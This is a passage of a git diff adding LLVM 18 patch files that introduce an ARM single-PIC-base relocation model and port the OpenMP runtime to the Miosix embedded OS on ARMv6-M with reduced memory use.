ARMSubtarget::initSubtargetFeatures(StringRef CPU, StringRef FS) { + (Options.UnsafeFPMath || isTargetDarwin())) + HasNEONForFP = true; + +- if (isRWPI()) ++ if (isRWPI() || isSinglePicBase()) + ReserveR9 = true; + + // If MVEVectorCostFactor is still 0 (has not been set to anything else), default it to 2 +@@ -350,6 +350,9 @@ bool ARMSubtarget::isRWPI() const { + return TM.getRelocationModel() == Reloc::RWPI || + TM.getRelocationModel() == Reloc::ROPI_RWPI; + } ++bool ARMSubtarget::isSinglePicBase() const { ++ return TM.getRelocationModel() == Reloc::SINGLE_PIC_BASE; ++} + + bool ARMSubtarget::isGVIndirectSymbol(const GlobalValue *GV) const { + if (!TM.shouldAssumeDSOLocal(*GV->getParent(), GV)) +diff --git a/llvm/lib/Target/ARM/ARMSubtarget.h b/llvm/lib/Target/ARM/ARMSubtarget.h +index 91f3978b041a..41810bed347a 100644 +--- a/llvm/lib/Target/ARM/ARMSubtarget.h ++++ b/llvm/lib/Target/ARM/ARMSubtarget.h +@@ -419,6 +419,7 @@ public: + + bool isROPI() const; + bool isRWPI() const; ++ bool isSinglePicBase() const; + + bool useMachineScheduler() const { return UseMISched; } + bool useMachinePipeliner() const { return UseMIPipeliner; } +diff --git a/llvm/lib/Target/ARM/MCTargetDesc/ARMBaseInfo.h b/llvm/lib/Target/ARM/MCTargetDesc/ARMBaseInfo.h +index 1e87085d7bf0..e0f5c989be86 100644 +--- a/llvm/lib/Target/ARM/MCTargetDesc/ARMBaseInfo.h ++++ b/llvm/lib/Target/ARM/MCTargetDesc/ARMBaseInfo.h +@@ -262,8 +262,8 @@ namespace ARMII { + /// stub symbols on windows. + MO_COFFSTUB = 0x4, + +- /// MO_GOT - On a symbol operand, this represents a GOT relative relocation. +- MO_GOT = 0x8, ++ /// MO_GOT_PREL - On a symbol operand, this represents a GOT relocation relative to the PC. ++ MO_GOT_PREL = 0x8, + + /// MO_SBREL - On a symbol operand, this represents a static base relative + /// relocation. Used in movw and movt instructions. +@@ -307,7 +307,10 @@ namespace ARMII { + /// containing + /// bits 24 through 31 of the address. Used only with Thumb1 MOV and ADD + // instructions. +- MO_HI_8_15 = 0x800 ++ MO_HI_8_15 = 0x800, ++ ++ /// MO_GOT_BREL - On a symbol operand, this represents a GOT relocation relative to the base of the GOT. ++ MO_GOT_BREL = 0x1000, + }; + + enum { +diff --git a/llvm/lib/Target/ARM/MCTargetDesc/ARMELFObjectWriter.cpp b/llvm/lib/Target/ARM/MCTargetDesc/ARMELFObjectWriter.cpp +index 44695a86c4e3..dabd9463f973 100644 +--- a/llvm/lib/Target/ARM/MCTargetDesc/ARMELFObjectWriter.cpp ++++ b/llvm/lib/Target/ARM/MCTargetDesc/ARMELFObjectWriter.cpp +@@ -109,6 +109,8 @@ unsigned ARMELFObjectWriter::GetRelocTypeInner(const MCValue &Target, + return ELF::R_ARM_TLS_IE32; + case MCSymbolRefExpr::VK_ARM_GOT_PREL: + return ELF::R_ARM_GOT_PREL; ++ case MCSymbolRefExpr::VK_ARM_GOT_BREL: ++ return ELF::R_ARM_GOT_BREL; + case MCSymbolRefExpr::VK_ARM_PREL31: + return ELF::R_ARM_PREL31; + } +@@ -222,6 +224,8 @@ unsigned ARMELFObjectWriter::GetRelocTypeInner(const MCValue &Target, + return ELF::R_ARM_GOTOFF32; + case MCSymbolRefExpr::VK_ARM_GOT_PREL: + return ELF::R_ARM_GOT_PREL; ++ case MCSymbolRefExpr::VK_ARM_GOT_BREL: ++ return ELF::R_ARM_GOT_BREL; + case MCSymbolRefExpr::VK_ARM_TARGET1: + return ELF::R_ARM_TARGET1; + case MCSymbolRefExpr::VK_ARM_TARGET2: +diff --git a/llvm/lib/Target/TargetMachine.cpp b/llvm/lib/Target/TargetMachine.cpp +index 0839fb22d35a..cc6f4e531b9b 100644 +--- a/llvm/lib/Target/TargetMachine.cpp ++++ b/llvm/lib/Target/TargetMachine.cpp +@@ -94,7 +94,7 @@ bool TargetMachine::isLargeGlobalValue(const GlobalValue *GVal) const { + } + + bool TargetMachine::isPositionIndependent() const { +- return getRelocationModel() == Reloc::PIC_; ++ return getRelocationModel() == Reloc::PIC_ || getRelocationModel() == Reloc::SINGLE_PIC_BASE; + } + + /// Reset the target options based on the function's attributes. +-- +2.39.2 (Apple Git-143) + diff --git a/tools/compiler/llvm-18/patches/libomp-memory-usage.patch b/tools/compiler/llvm-18/patches/libomp-memory-usage.patch new file mode 100644 index 000000000..3ab6fe331 --- /dev/null +++ b/tools/compiler/llvm-18/patches/libomp-memory-usage.patch @@ -0,0 +1,134 @@ +diff -ruN -x build -x CMakeCache.txt llvm-project/openmp/runtime/src/kmp.h llvm-project-new/openmp/runtime/src/kmp.h +--- llvm-project/openmp/runtime/src/kmp.h 2025-07-07 14:16:47.071926687 +0200 ++++ llvm-project-new/openmp/runtime/src/kmp.h 2025-06-20 10:44:42.930643993 +0200 +@@ -1291,8 +1291,8 @@ + #define KMP_DEFAULT_CHUNK 1 + + #define KMP_MIN_DISP_NUM_BUFF 1 +-#define KMP_DFLT_DISP_NUM_BUFF 7 +-#define KMP_MAX_DISP_NUM_BUFF 4096 ++#define KMP_DFLT_DISP_NUM_BUFF 4 ++#define KMP_MAX_DISP_NUM_BUFF 256 + + #define KMP_MAX_ORDERED 8 + +@@ -1850,7 +1850,7 @@ + size_t cmn_size; + }; + +-#define KMP_HASH_TABLE_LOG2 9 /* log2 of the hash table size */ ++#define KMP_HASH_TABLE_LOG2 7 /* log2 of the hash table size */ + #define KMP_HASH_TABLE_SIZE \ + (1 << KMP_HASH_TABLE_LOG2) /* size of the hash table */ + #define KMP_HASH_SHIFT 3 /* throw away this many low bits from the address */ +diff -ruN -x build -x CMakeCache.txt llvm-project/openmp/runtime/src/kmp_alloc.cpp llvm-project-new/openmp/runtime/src/kmp_alloc.cpp +--- llvm-project/openmp/runtime/src/kmp_alloc.cpp 2025-07-07 14:16:47.072926705 +0200 ++++ llvm-project-new/openmp/runtime/src/kmp_alloc.cpp 2025-06-20 13:15:08.638713456 +0200 +@@ -2000,7 +2000,12 @@ + void *ptr; + KE_TRACE(25, ("-> __kmp_allocate( %d ) called from %s:%d\n", + (int)size KMP_SRC_LOC_PARM)); ++#ifdef KMP_OS_MIOSIX ++ ptr = malloc(size); ++ memset(ptr, 0, size); ++#else + ptr = ___kmp_allocate_align(size, __kmp_align_alloc KMP_SRC_LOC_PARM); ++#endif + KE_TRACE(25, ("<- __kmp_allocate() returns %p\n", ptr)); + return ptr; + } // func ___kmp_allocate +@@ -2010,12 +2015,17 @@ + NULL is NEVER returned, __kmp_abort() is called in case of memory allocation + error. Must use __kmp_free when freeing memory allocated by this routine! */ + void *___kmp_page_allocate(size_t size KMP_SRC_LOC_DECL) { ++#ifdef KMP_OS_MIOSIX ++ void *ptr = malloc(size); ++ memset(ptr, 0, size); ++#else + int page_size = 8 * 1024; + void *ptr; + + KE_TRACE(25, ("-> __kmp_page_allocate( %d ) called from %s:%d\n", + (int)size KMP_SRC_LOC_PARM)); + ptr = ___kmp_allocate_align(size, page_size KMP_SRC_LOC_PARM); ++#endif + KE_TRACE(25, ("<- __kmp_page_allocate( %d ) returns %p\n", (int)size, ptr)); + return ptr; + } // ___kmp_page_allocate +@@ -2023,6 +2033,9 @@ + /* Free memory allocated by __kmp_allocate() and __kmp_page_allocate(). + In debug mode, fill the memory block with 0xEF before call to free(). */ + void ___kmp_free(void *ptr KMP_SRC_LOC_DECL) { ++#ifdef KMP_OS_MIOSIX ++ free(ptr); ++#else + kmp_mem_descr_t descr; + #if KMP_DEBUG + kmp_uintptr_t addr_allocated; // Address returned by malloc(). +@@ -2061,6 +2074,7 @@ + #endif + #endif + KMP_MB(); ++#endif + KE_TRACE(25, ("<- __kmp_free() returns\n")); + } // func ___kmp_free + +diff -ruN -x build -x CMakeCache.txt llvm-project/openmp/runtime/src/kmp_config.h.cmake llvm-project-new/openmp/runtime/src/kmp_config.h.cmake +--- llvm-project/openmp/runtime/src/kmp_config.h.cmake 2025-07-07 13:58:22.313627073 +0200 ++++ llvm-project-new/openmp/runtime/src/kmp_config.h.cmake 2025-06-20 12:53:25.671140033 +0200 +@@ -106,6 +106,8 @@ + # define CACHE_LINE 256 + #elif KMP_ARCH_S390X + # define CACHE_LINE 256 ++#elif KMP_ARCH_ARMV6M ++# define CACHE_LINE 4 + #else + # define CACHE_LINE 64 + #endif +diff -ruN -x build -x CMakeCache.txt llvm-project/openmp/runtime/src/kmp_os.h llvm-project-new/openmp/runtime/src/kmp_os.h +--- llvm-project/openmp/runtime/src/kmp_os.h 2025-07-07 14:16:47.072926705 +0200 ++++ llvm-project-new/openmp/runtime/src/kmp_os.h 2025-06-20 10:24:31.527305519 +0200 +@@ -1229,8 +1229,12 @@ + #define USE_CMPXCHG_FIX 1 + #endif + ++#ifndef KMP_OS_MIOSIX + // Enable dynamic user lock + #define KMP_USE_DYNAMIC_LOCK 1 ++#else ++#define KMP_USE_DYNAMIC_LOCK 0 ++#endif + + // Enable Intel(R) Transactional Synchronization Extensions (Intel(R) TSX) if + // dynamic user lock is turned on +diff -ruN -x build -x CMakeCache.txt llvm-project/openmp/runtime/src/kmp_settings.cpp llvm-project-new/openmp/runtime/src/kmp_settings.cpp +--- llvm-project/openmp/runtime/src/kmp_settings.cpp 2025-07-07 13:58:22.317627138 +0200 ++++ llvm-project-new/openmp/runtime/src/kmp_settings.cpp 2025-06-20 11:34:58.990322283 +0200 +@@ -6250,6 +6250,7 @@ + #endif + } + ++#ifndef KMP_OS_MIOSIX + // Set up the affinity format ICV + // Grab the default affinity format string from the message catalog + kmp_msg_t m = +@@ -6262,6 +6263,7 @@ + } + KMP_STRCPY_S(__kmp_affinity_format, KMP_AFFINITY_FORMAT_SIZE, m.str); + __kmp_str_free(&m.str); ++#endif + + // Now process all of the settings. + for (i = 0; i < block.count; ++i) { +diff -ruN -x build -x CMakeCache.txt llvm-project/openmp/runtime/src/kmp_str.cpp llvm-project-new/openmp/runtime/src/kmp_str.cpp +--- llvm-project/openmp/runtime/src/kmp_str.cpp 2025-07-07 13:58:22.317627138 +0200 ++++ llvm-project-new/openmp/runtime/src/kmp_str.cpp 2025-06-20 15:38:06.076399323 +0200 +@@ -450,7 +450,7 @@ + ... // Other parameters. + ) { + va_list args; +- int size = 512; ++ int size = 8; + char *buffer = NULL; + int rc; + diff --git a/tools/compiler/llvm-18/patches/libomp.patch b/tools/compiler/llvm-18/patches/libomp.patch new file mode 100644 index 000000000..60eebfcea --- /dev/null +++ b/tools/compiler/llvm-18/patches/libomp.patch @@ -0,0 +1,650 @@ +diff --git a/openmp/runtime/cmake/config-ix.cmake b/openmp/runtime/cmake/config-ix.cmake +index 76f471a44380..b0408d18bc6f 100644 +--- a/openmp/runtime/cmake/config-ix.cmake ++++ b/openmp/runtime/cmake/config-ix.cmake +@@ -122,8 +122,11 @@ set(source_code "// check for _mm_malloc + int main() { void *ptr = _mm_malloc(sizeof(int) * 1000, 64); _mm_free(ptr); return 0; }") + check_cxx_source_compiles("${source_code}" LIBOMP_HAVE__MM_MALLOC) + set(CMAKE_REQUIRED_FLAGS ${OLD_CMAKE_REQUIRED_FLAGS}) +-check_symbol_exists(aligned_alloc "stdlib.h" LIBOMP_HAVE_ALIGNED_ALLOC) +-check_symbol_exists(posix_memalign "stdlib.h" LIBOMP_HAVE_POSIX_MEMALIGN) ++#TODO patch newlib ++#check_symbol_exists(aligned_alloc "stdlib.h" LIBOMP_HAVE_ALIGNED_ALLOC) ++#check_symbol_exists(posix_memalign "stdlib.h" LIBOMP_HAVE_POSIX_MEMALIGN) ++set(LIBOMP_HAVE_ALIGNED_ALLOC 0) ++set(LIBOMP_HAVE_POSIX_MEMALIGN 0) + check_symbol_exists(_aligned_malloc "malloc.h" LIBOMP_HAVE__ALIGNED_MALLOC) + + # Check linker flags +diff --git a/openmp/runtime/src/kmp.h b/openmp/runtime/src/kmp.h +index 46ee4c9fba71..9b101ef5848c 100644 +--- a/openmp/runtime/src/kmp.h ++++ b/openmp/runtime/src/kmp.h +@@ -69,6 +69,10 @@ + #undef KMP_CANCEL_THREADS + #endif + ++#if KMP_OS_MIOSIX ++#undef KMP_CANCEL_THREADS ++#endif ++ + #if !KMP_OS_WASI + #include + #endif +@@ -1328,9 +1332,9 @@ extern kmp_uint64 __kmp_now_nsec(); + #if KMP_OS_WINDOWS + #define KMP_INIT_WAIT 64U /* initial number of spin-tests */ + #define KMP_NEXT_WAIT 32U /* susequent number of spin-tests */ +-#elif KMP_OS_LINUX ++#elif KMP_OS_LINUX || KMP_OS_MIOSIX + #define KMP_INIT_WAIT 1024U /* initial number of spin-tests */ +-#define KMP_NEXT_WAIT 512U /* susequent number of spin-tests */ ++#define KMP_NEXT_WAIT 512U /* subsequent number of spin-tests */ + #elif KMP_OS_DARWIN + /* TODO: tune for KMP_OS_DARWIN */ + #define KMP_INIT_WAIT 1024U /* initial number of spin-tests */ +@@ -1705,7 +1709,7 @@ typedef HANDLE kmp_thread_t; + typedef DWORD kmp_key_t; + #endif /* KMP_OS_WINDOWS */ + +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + typedef pthread_t kmp_thread_t; + typedef pthread_key_t kmp_key_t; + #endif +@@ -2277,7 +2281,7 @@ typedef struct kmp_win32_cond { + } kmp_win32_cond_t; + #endif + +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + + union KMP_ALIGN_CACHE kmp_cond_union { + double c_align; +@@ -3046,7 +3050,7 @@ typedef struct KMP_ALIGN_CACHE kmp_base_info { + kmp_win32_mutex_t th_suspend_mx; + std::atomic th_suspend_init; + #endif +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + kmp_cond_align_t th_suspend_cv; + kmp_mutex_align_t th_suspend_mx; + std::atomic th_suspend_init_count; +@@ -3497,8 +3501,13 @@ extern int __kmp_gtid_mode; /* Method of getting gtid, values: + extern int + __kmp_adjust_gtid_mode; /* If true, adjust method based on #threads */ + #ifdef KMP_TDATA_GTID ++#if KMP_OS_MIOSIX ++extern pthread_key_t __kmp_gtid_key; ++#define __kmp_gtid *reinterpret_cast(pthread_getspecific(__kmp_gtid_key)) ++#else + extern KMP_THREAD_LOCAL int __kmp_gtid; + #endif ++#endif + extern int __kmp_tls_gtid_min; /* #threads below which use sp search for gtid */ + extern int __kmp_foreign_tp; // If true, separate TP var for each foreign thread + #if KMP_ARCH_X86 || KMP_ARCH_X86_64 +@@ -4002,7 +4011,6 @@ extern void __kmp_common_destroy_gtid(int gtid); + #if KMP_OS_UNIX + extern void __kmp_register_atfork(void); + #endif +-extern void __kmp_suspend_initialize(void); + extern void __kmp_suspend_initialize_thread(kmp_info_t *th); + extern void __kmp_suspend_uninitialize_thread(kmp_info_t *th); + +diff --git a/openmp/runtime/src/kmp_alloc.cpp b/openmp/runtime/src/kmp_alloc.cpp +index fb1b0eb5f0fe..810046e16c19 100644 +--- a/openmp/runtime/src/kmp_alloc.cpp ++++ b/openmp/runtime/src/kmp_alloc.cpp +@@ -1357,6 +1357,7 @@ void __kmp_fini_memkind() { + } + + void __kmp_init_target_mem() { ++#if KMP_DYNAMIC_LIB + *(void **)(&kmp_target_alloc_host) = KMP_DLSYM("llvm_omp_target_alloc_host"); + *(void **)(&kmp_target_alloc_shared) = + KMP_DLSYM("llvm_omp_target_alloc_shared"); +@@ -1374,6 +1375,7 @@ void __kmp_init_target_mem() { + // lock/pin and unlock/unpin target calls + *(void **)(&kmp_target_lock_mem) = KMP_DLSYM("llvm_omp_target_lock_mem"); + *(void **)(&kmp_target_unlock_mem) = KMP_DLSYM("llvm_omp_target_unlock_mem"); ++#endif + } + + omp_allocator_handle_t __kmpc_init_allocator(int gtid, omp_memspace_handle_t ms, +diff --git a/openmp/runtime/src/kmp_environment.cpp b/openmp/runtime/src/kmp_environment.cpp +index 4def6ea9ac20..3d2e40467f44 100644 +--- a/openmp/runtime/src/kmp_environment.cpp ++++ b/openmp/runtime/src/kmp_environment.cpp +@@ -55,7 +55,7 @@ + #include "kmp_os.h" // KMP_OS_*. + #include "kmp_str.h" // __kmp_str_*(). + +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + #include // getenv, setenv, unsetenv. + #include // strlen, strcpy. + #if KMP_OS_DARWIN +@@ -85,7 +85,7 @@ char *__kmp_env_get(char const *name) { + + char *result = NULL; + +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + char const *value = getenv(name); + if (value != NULL) { + size_t len = KMP_STRLEN(value) + 1; +@@ -150,7 +150,7 @@ void __kmp_env_free(char const **value) { + + int __kmp_env_exists(char const *name) { + +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + char const *value = getenv(name); + return ((value == NULL) ? (0) : (1)); + #elif KMP_OS_WINDOWS +@@ -172,7 +172,7 @@ int __kmp_env_exists(char const *name) { + + void __kmp_env_set(char const *name, char const *value, int overwrite) { + +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + int rc = setenv(name, value, overwrite); + if (rc != 0) { + // Dead code. I tried to put too many variables into Linux* OS +@@ -209,7 +209,7 @@ void __kmp_env_set(char const *name, char const *value, int overwrite) { + + void __kmp_env_unset(char const *name) { + +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + unsetenv(name); + #elif KMP_OS_WINDOWS + BOOL rc = SetEnvironmentVariable(name, NULL); +@@ -448,6 +448,11 @@ void __kmp_env_blk_init(kmp_env_blk_t *block, // M: Block to initialize. + ___kmp_env_blk_parse_windows(block, mem); + FreeEnvironmentStrings(mem); + } ++#elif KMP_OS_MIOSIX ++ // Unsupported ++ block->bulk = nullptr; ++ block->vars = nullptr; ++ block->count=0; + #else + #error Unknown or unsupported OS. + #endif +diff --git a/openmp/runtime/src/kmp_ftn_cdecl.cpp b/openmp/runtime/src/kmp_ftn_cdecl.cpp +index cf1d429a915c..961506004217 100644 +--- a/openmp/runtime/src/kmp_ftn_cdecl.cpp ++++ b/openmp/runtime/src/kmp_ftn_cdecl.cpp +@@ -17,7 +17,7 @@ + #if defined KMP_WIN_CDECL || !KMP_DYNAMIC_LIB + #define KMP_FTN_ENTRIES KMP_FTN_UPPER + #endif +-#elif KMP_OS_UNIX ++#elif KMP_OS_UNIX || KMP_OS_MIOSIX + #define KMP_FTN_ENTRIES KMP_FTN_PLAIN + #endif + +diff --git a/openmp/runtime/src/kmp_ftn_entry.h b/openmp/runtime/src/kmp_ftn_entry.h +index 713561734c48..b69e76002c3e 100644 +--- a/openmp/runtime/src/kmp_ftn_entry.h ++++ b/openmp/runtime/src/kmp_ftn_entry.h +@@ -582,7 +582,7 @@ int FTN_STDCALL KMP_EXPAND_NAME(FTN_GET_THREAD_NUM)(void) { + int gtid; + + #if KMP_OS_DARWIN || KMP_OS_DRAGONFLY || KMP_OS_FREEBSD || KMP_OS_NETBSD || \ +- KMP_OS_OPENBSD || KMP_OS_HURD || KMP_OS_SOLARIS || KMP_OS_AIX ++ KMP_OS_OPENBSD || KMP_OS_HURD || KMP_OS_SOLARIS || KMP_OS_AIX || KMP_OS_MIOSIX + gtid = __kmp_entry_gtid(); + #elif KMP_OS_WINDOWS + if (!__kmp_init_parallel || +diff --git a/openmp/runtime/src/kmp_global.cpp b/openmp/runtime/src/kmp_global.cpp +index 5017cd3de4be..4e3539c3cece 100644 +--- a/openmp/runtime/src/kmp_global.cpp ++++ b/openmp/runtime/src/kmp_global.cpp +@@ -183,7 +183,22 @@ int __kmp_gtid_mode = 0; /* select method to get gtid based on #threads */ + int __kmp_adjust_gtid_mode = TRUE; + #endif /* KMP_OS_LINUX && defined(KMP_TDATA_GTID) */ + #ifdef KMP_TDATA_GTID ++#if KMP_OS_MIOSIX ++#include ++pthread_key_t __kmp_gtid_key; ++class key_initializer { ++public: ++ key_initializer() { ++ pthread_key_create(&__kmp_gtid_key, [](void* ptr){ delete reinterpret_cast(ptr); }); ++ } ++ ~key_initializer() { ++ pthread_key_delete(__kmp_gtid_key); ++ } ++}; ++static key_initializer k; ++#else + KMP_THREAD_LOCAL int __kmp_gtid = KMP_GTID_DNE; ++#endif + #endif /* KMP_TDATA_GTID */ + int __kmp_tls_gtid_min = INT_MAX; + int __kmp_foreign_tp = TRUE; +diff --git a/openmp/runtime/src/kmp_i18n.cpp b/openmp/runtime/src/kmp_i18n.cpp +index a164aa180dd4..819a709fd72b 100644 +--- a/openmp/runtime/src/kmp_i18n.cpp ++++ b/openmp/runtime/src/kmp_i18n.cpp +@@ -213,6 +213,13 @@ char const *__kmp_i18n_catgets(kmp_i18n_id_t id) { + + #endif // KMP_OS_UNIX + ++#if KMP_OS_MIOSIX ++#define KMP_I18N_OK ++void __kmp_i18n_catclose() {} ++char const *__kmp_i18n_catgets(kmp_i18n_id_t id) { return no_message_available; } ++void __kmp_i18n_do_catopen() {} ++#endif ++ + /* Windows* OS part. */ + + #if KMP_OS_WINDOWS +@@ -635,7 +642,7 @@ kmp_msg_t __kmp_msg_format(unsigned id_arg, ...) { + // default promotions. + kmp_i18n_id_t id = (kmp_i18n_id_t)id_arg; + +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + // On Linux* OS and OS X*, printf() family functions process parameter + // numbers, for example: "%2$s %1$s". + __kmp_str_buf_vprint(&buffer, __kmp_i18n_catgets(id), args); +@@ -710,7 +717,8 @@ static char *sys_error(int err) { + + #if (defined(__GLIBC__) && defined(_GNU_SOURCE)) || \ + (defined(__BIONIC__) && defined(_GNU_SOURCE) && \ +- __ANDROID_API__ >= __ANDROID_API_M__) ++ __ANDROID_API__ >= __ANDROID_API_M__) || \ ++ (defined(__NEWLIB_H__) && defined(_GNU_SOURCE)) + // GNU version of strerror_r. + + char buffer[2048]; +diff --git a/openmp/runtime/src/kmp_os.h b/openmp/runtime/src/kmp_os.h +index 9cd0aefaea2d..36bf394f157b 100644 +--- a/openmp/runtime/src/kmp_os.h ++++ b/openmp/runtime/src/kmp_os.h +@@ -177,8 +177,24 @@ typedef unsigned long long kmp_uint64; + #define KMP_UINT64_SPEC "llu" + #endif /* KMP_OS_UNIX */ + ++#if KMP_ARCH_ARMV6M ++#define KMP_END_OF_LINE "\n" ++typedef char kmp_int8; ++typedef unsigned char kmp_uint8; ++typedef short kmp_int16; ++typedef unsigned short kmp_uint16; ++typedef int kmp_int32; ++typedef unsigned int kmp_uint32; ++typedef long long kmp_int64; ++typedef unsigned long long kmp_uint64; ++#define KMP_INT32_SPEC "d" ++#define KMP_UINT32_SPEC "u" ++#define KMP_INT64_SPEC "lld" ++#define KMP_UINT64_SPEC "llu" ++#endif /* KMP_ARCH_ARMV6M */ ++ + #if KMP_ARCH_X86 || KMP_ARCH_ARM || KMP_ARCH_MIPS || KMP_ARCH_WASM || \ +- KMP_ARCH_PPC ++ KMP_ARCH_PPC || KMP_ARCH_ARMV6M + #define KMP_SIZE_T_SPEC KMP_UINT32_SPEC + #elif KMP_ARCH_X86_64 || KMP_ARCH_PPC64 || KMP_ARCH_AARCH64 || \ + KMP_ARCH_MIPS64 || KMP_ARCH_RISCV64 || KMP_ARCH_LOONGARCH64 || \ +@@ -217,8 +233,8 @@ typedef kmp_uint32 kmp_uint; + #define KMP_INT_MIN ((kmp_int32)0x80000000) + + // stdarg handling +-#if (KMP_ARCH_ARM || KMP_ARCH_X86_64 || KMP_ARCH_AARCH64 || KMP_ARCH_WASM) && \ +- (KMP_OS_FREEBSD || KMP_OS_LINUX || KMP_OS_WASI) ++#if (KMP_ARCH_ARM || KMP_ARCH_X86_64 || KMP_ARCH_AARCH64 || KMP_ARCH_WASM || KMP_ARCH_ARMV6M) && \ ++ (KMP_OS_FREEBSD || KMP_OS_LINUX || KMP_OS_WASI || KMP_OS_MIOSIX) + typedef va_list *kmp_va_list; + #define kmp_va_deref(ap) (*(ap)) + #define kmp_va_addr_of(ap) (&(ap)) +@@ -1292,7 +1308,7 @@ bool __kmp_atomic_compare_store_rel(std::atomic *p, T expected, T desired) { + extern void *__kmp_lookup_symbol(const char *name, bool next = false); + #define KMP_DLSYM(name) __kmp_lookup_symbol(name) + #define KMP_DLSYM_NEXT(name) __kmp_lookup_symbol(name, true) +-#elif KMP_OS_WASI ++#elif KMP_OS_WASI || KMP_OS_MIOSIX + #define KMP_DLSYM(name) nullptr + #define KMP_DLSYM_NEXT(name) nullptr + #else +diff --git a/openmp/runtime/src/kmp_platform.h b/openmp/runtime/src/kmp_platform.h +index c06f46db2d49..b51469c93ed4 100644 +--- a/openmp/runtime/src/kmp_platform.h ++++ b/openmp/runtime/src/kmp_platform.h +@@ -26,6 +26,7 @@ + #define KMP_OS_SOLARIS 0 + #define KMP_OS_WASI 0 + #define KMP_OS_UNIX 0 /* disjunction of KMP_OS_LINUX, KMP_OS_DARWIN etc. */ ++#define KMP_OS_MIOSIX 1 + + #ifdef _WIN32 + #undef KMP_OS_WINDOWS +@@ -87,9 +88,14 @@ + #define KMP_OS_AIX 1 + #endif + ++#ifdef _MIOSIX ++#undef KMP_OS_MIOSIX ++#define KMP_OS_MIOSIX 1 ++#endif ++ + #if (1 != KMP_OS_LINUX + KMP_OS_DRAGONFLY + KMP_OS_FREEBSD + KMP_OS_NETBSD + \ + KMP_OS_OPENBSD + KMP_OS_DARWIN + KMP_OS_WINDOWS + KMP_OS_HURD + \ +- KMP_OS_SOLARIS + KMP_OS_WASI + KMP_OS_AIX) ++ KMP_OS_SOLARIS + KMP_OS_WASI + KMP_OS_AIX + KMP_OS_MIOSIX) + #error Unknown OS + #endif + +@@ -115,6 +121,13 @@ + #define KMP_ARCH_LOONGARCH64 0 + #define KMP_ARCH_VE 0 + #define KMP_ARCH_S390X 0 ++#define KMP_ARCH_ARMV6M 0 ++ ++/* Cortex-M (ARMv6-M) support */ ++#if defined(__ARM_ARCH_6M__) || defined(__ARM_ARCH_6SM__) || defined(__ARM_ARCH_6S__) ++#undef KMP_ARCH_ARMV6M ++#define KMP_ARCH_ARMV6M 1 ++#endif + + #if KMP_OS_WINDOWS + #if defined(_M_AMD64) || defined(__x86_64) +@@ -254,7 +267,7 @@ + #if (1 != KMP_ARCH_X86 + KMP_ARCH_X86_64 + KMP_ARCH_ARM + KMP_ARCH_PPC64 + \ + KMP_ARCH_AARCH64 + KMP_ARCH_MIPS + KMP_ARCH_MIPS64 + \ + KMP_ARCH_RISCV64 + KMP_ARCH_LOONGARCH64 + KMP_ARCH_VE + \ +- KMP_ARCH_S390X + KMP_ARCH_WASM + KMP_ARCH_PPC) ++ KMP_ARCH_S390X + KMP_ARCH_WASM + KMP_ARCH_PPC + KMP_ARCH_ARMV6M) + #error Unknown or unsupported architecture + #endif + +diff --git a/openmp/runtime/src/kmp_runtime.cpp b/openmp/runtime/src/kmp_runtime.cpp +index fc5e8405a415..b606fad3663d 100644 +--- a/openmp/runtime/src/kmp_runtime.cpp ++++ b/openmp/runtime/src/kmp_runtime.cpp +@@ -3980,7 +3980,13 @@ int __kmp_register_root(int initial_thread) { + #endif /* USE_ITT_BUILD */ + + #ifdef KMP_TDATA_GTID ++#if KMP_OS_MIOSIX ++ int *val_ptr = new int; ++ *val_ptr = gtid; ++ pthread_setspecific(__kmp_gtid_key, val_ptr); ++#else + __kmp_gtid = gtid; ++#endif + #endif + __kmp_create_worker(gtid, root_thread, __kmp_stksize); + KMP_DEBUG_ASSERT(__kmp_gtid_get_specific() == gtid); +@@ -7559,8 +7565,6 @@ void __kmp_parallel_initialize(void) { + #endif + #endif + +- __kmp_suspend_initialize(); +- + #if defined(USE_LOAD_BALANCE) + if (__kmp_global.g.g_dynamic_mode == dynamic_default) { + __kmp_global.g.g_dynamic_mode = dynamic_load_balance; +@@ -8929,11 +8933,11 @@ __kmp_determine_reduction_method( + // KMP_OS_SOLARIS || KMP_OS_WASI || KMP_OS_AIX + + #elif KMP_ARCH_X86 || KMP_ARCH_ARM || KMP_ARCH_AARCH || KMP_ARCH_MIPS || \ +- KMP_ARCH_WASM || KMP_ARCH_PPC ++ KMP_ARCH_WASM || KMP_ARCH_PPC || KMP_ARCH_ARMV6M + + #if KMP_OS_LINUX || KMP_OS_DRAGONFLY || KMP_OS_FREEBSD || KMP_OS_NETBSD || \ + KMP_OS_OPENBSD || KMP_OS_WINDOWS || KMP_OS_HURD || KMP_OS_SOLARIS || \ +- KMP_OS_WASI || KMP_OS_AIX ++ KMP_OS_WASI || KMP_OS_AIX || KMP_OS_MIOSIX + + // basic tuning + +diff --git a/openmp/runtime/src/kmp_utility.cpp b/openmp/runtime/src/kmp_utility.cpp +index f901eaca92f4..536310e65726 100644 +--- a/openmp/runtime/src/kmp_utility.cpp ++++ b/openmp/runtime/src/kmp_utility.cpp +@@ -298,7 +298,7 @@ void __kmp_expand_host_name(char *buffer, size_t size) { + KMP_STRCPY_S(buffer, size, unknown); + #else + buffer[size - 2] = 0; +- if (gethostname(buffer, size) || buffer[size - 2] != 0) ++ if (/*gethostname(buffer, size) || */buffer[size - 2] != 0) + KMP_STRCPY_S(buffer, size, unknown); + #endif + } +diff --git a/openmp/runtime/src/kmp_wrapper_getpid.h b/openmp/runtime/src/kmp_wrapper_getpid.h +index d31c6e80f75d..63aee52a3a70 100644 +--- a/openmp/runtime/src/kmp_wrapper_getpid.h ++++ b/openmp/runtime/src/kmp_wrapper_getpid.h +@@ -13,11 +13,11 @@ + #ifndef KMP_WRAPPER_GETPID_H + #define KMP_WRAPPER_GETPID_H + +-#if KMP_OS_UNIX ++#if KMP_OS_UNIX || KMP_OS_MIOSIX + + // On Unix-like systems (Linux* OS and OS X*) getpid() is declared in standard 